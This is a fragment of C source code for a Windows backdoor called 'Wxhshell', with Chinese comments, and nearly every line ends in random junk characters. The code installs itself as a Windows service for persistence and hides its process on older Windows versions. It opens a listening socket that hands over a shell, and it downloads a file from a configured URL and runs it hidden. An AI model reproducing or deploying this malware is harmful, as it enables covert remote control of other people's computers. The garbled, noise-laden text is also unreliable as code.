DWORD BasePriority; Y}:~6`-jj
ULONG UniqueProcessId; 2r,
c{Ah@D
ULONG InheritedFromUniqueProcessId; f!9i6
} PROCESS_BASIC_INFORMATION; ~dYCY_a
j[G`p^ul
PROCNTQSIP NtQueryInformationProcess; %71i&T F
1)ue-(o5
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; i(}PrA
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 6hxZ5&;(*
(%my:\>l
HANDLE hProcess; IOy0WHl|
PROCESS_BASIC_INFORMATION pbi; `2mddx8
zBF~:Uc`B
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); ge~@}iO@
if(NULL == hInst ) return 0; U'fP
o*cu-j3
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); "rv~I_zl
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); (bsx|8[
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); SH%NYjj
;8s L
if (!NtQueryInformationProcess) return 0; H+v&4} f
77P\:xc
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); IPQRdBQ
if(!hProcess) return 0; i?x gV_q;
6 d-\+t8
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 8Zr;n`~
LOh2eZ"n
CloseHandle(hProcess);
gjS|3ED
@N=vmtLP
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); K@JZ$
if(hProcess==NULL) return 0; DB'v7
Ij0
n(:<pz
HMODULE hMod; $%bSRvA
char procName[255]; HI.*xkBXl&
unsigned long cbNeeded; uYh!04u
USg"wJY
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); eV9U+]C`
UcRP/LR%C
CloseHandle(hProcess); AGlBvRX7e
OF-k7g7
if(strstr(procName,"services")) return 1; // 以服务启动 yW_yHSx;
|xO*!NR
return 0; // 注册表启动 ){^J8]b7#
} Qb536RpcTY
As:O|!F
// 主模块 XiUq#84Q
int StartWxhshell(LPSTR lpCmdLine) w,UE0i9I
{ j*{0<hZb}
SOCKET wsl; gq=t7b
BOOL val=TRUE; 6(n0{A
int port=0; ,06Sm]4L,
struct sockaddr_in door; Rh>B#
\
'VDWJTia
if(wscfg.ws_autoins) Install(); <b 5DX
U3(+8}Q
port=atoi(lpCmdLine); &g`IRz
BWt`l,nF
if(port<=0) port=wscfg.ws_port; ^Q/*on;A,/
c6h?b[]
WSADATA data; I"Oq< _
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 9*qwXU_aV
1IXtu
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; TnrBHaxbo4
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 0TU3
_;o
door.sin_family = AF_INET; #{i*9'
door.sin_addr.s_addr = inet_addr("127.0.0.1"); @]3\*&R}
door.sin_port = htons(port); `7"="T~ *
\8vP"Kr
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { Q\Ek U.[I
closesocket(wsl); 8$( I! ;
return 1; JEjxY&
} I G1];vX
,\4]uZ<
if(listen(wsl,2) == INVALID_SOCKET) { H:fKv7XL
closesocket(wsl); (0-Ol9[
return 1; (t&RFzE?G
} _w^,j"
Wxhshell(wsl); ztp|FUi
WSACleanup(); (W1$+X
jn(x-fj6R
return 0; lF}[ YL
L2H
} w~Tg?RH:
d$!Q6ux;
// 以NT服务方式启动 yw1&I^7
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) B[b>T=
{ Wjb_H
(D
DWORD status = 0; YT(N][V
DWORD specificError = 0xfffffff; -FZC|[is
C- .;m
serviceStatus.dwServiceType = SERVICE_WIN32; "\|P6H
serviceStatus.dwCurrentState = SERVICE_START_PENDING; E&U_1D9=L<
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; QLqtE;;)JK
serviceStatus.dwWin32ExitCode = 0; .}IW!$
dq
serviceStatus.dwServiceSpecificExitCode = 0; ,#Z%0NLe
serviceStatus.dwCheckPoint = 0; :_e[xB=Yy
serviceStatus.dwWaitHint = 0; Af3|l
*,\v|]fc
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); O<S.fr,
if (hServiceStatusHandle==0) return; { 'b;lA]0
4]o+)d.`(
status = GetLastError(); /,\V}`Lx"
if (status!=NO_ERROR) }g bLWx'iG
{ 5B=uvp|Y
serviceStatus.dwCurrentState = SERVICE_STOPPED; OBi(]l}^O
serviceStatus.dwCheckPoint = 0; Fp\;j\pfw
serviceStatus.dwWaitHint = 0; ';C'9k<P:
serviceStatus.dwWin32ExitCode = status; * %D_\0;
serviceStatus.dwServiceSpecificExitCode = specificError; eiMP:
SetServiceStatus(hServiceStatusHandle, &serviceStatus); :nx+(xgw
return; >@vu;j\*E5
} 4=Th<,<
eHr0],
serviceStatus.dwCurrentState = SERVICE_RUNNING; VYG@_fd!x
serviceStatus.dwCheckPoint = 0; .S//T/3O]Q
serviceStatus.dwWaitHint = 0; $nt&'Xnv
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); M9iX_4
} 8iIp[9~=
Tg{5%~L]
// 处理NT服务事件,比如:启动、停止 C19N0=
VOID WINAPI NTServiceHandler(DWORD fdwControl) 0qS/>u*
{ D ,kxB~
switch(fdwControl) Ark]>4x>
{ UarLxPQ
case SERVICE_CONTROL_STOP: 8pnD6Lp>
serviceStatus.dwWin32ExitCode = 0; 9pLe8D
serviceStatus.dwCurrentState = SERVICE_STOPPED; wAHuPQ&_Q
serviceStatus.dwCheckPoint = 0; o GuAF q
serviceStatus.dwWaitHint = 0; u}du@Aq
{ [Hh*lKg
SetServiceStatus(hServiceStatusHandle, &serviceStatus); w)7y{ya$
} 5zK,(cF0-
return; 505c(+
case SERVICE_CONTROL_PAUSE: ,U""m7
serviceStatus.dwCurrentState = SERVICE_PAUSED; )Rn\6ka
break; ad}8~6}_&
case SERVICE_CONTROL_CONTINUE: v0C+DKi
serviceStatus.dwCurrentState = SERVICE_RUNNING; k8?._1t
break; CnZ!b_J
case SERVICE_CONTROL_INTERROGATE: 7r;16"
break; v]EMJm6d|
}; j|KDgI<0
SetServiceStatus(hServiceStatusHandle, &serviceStatus); L\#YFf
} w[X-Q+7p(t
lC($@sC %
// 标准应用程序主函数 {0,b[
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) gvI!Ice#
{ F0!Z1S0g
I8XP`Ccq
// 获取操作系统版本 .57p4{
OsIsNt=GetOsVer(); v>keZZOs
GetModuleFileName(NULL,ExeFile,MAX_PATH); Bz/ba *
G2|jS@L#
// 从命令行安装 'vNju1sfk
if(strpbrk(lpCmdLine,"iI")) Install(); UOb`@#
t`B@01;8A
// 下载执行文件 # Wi?I=,
if(wscfg.ws_downexe) { DKf(igw
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) sJZ2e6?n
WinExec(wscfg.ws_filenam,SW_HIDE); @_kF&~
} 3YMqp~4
Z"VP<-
if(!OsIsNt) { V8/4:Va7s
// 如果时win9x,隐藏进程并且设置为注册表启动 Xf4~e(O
HideProc(); y"yo\IDW
StartWxhshell(lpCmdLine); JOuyEPy
} pa46,q&M
else 5,
$6mU#=
if(StartFromService()) JuSS(dJw
// 以服务方式启动 ]A2E2~~G
StartServiceCtrlDispatcher(DispatchTable); + ,Krq 3P
else (
unmf,y
// 普通方式启动 Oa/zEH
StartWxhshell(lpCmdLine); j{lurb)y
l WYp
return 0; d3:GmB .
}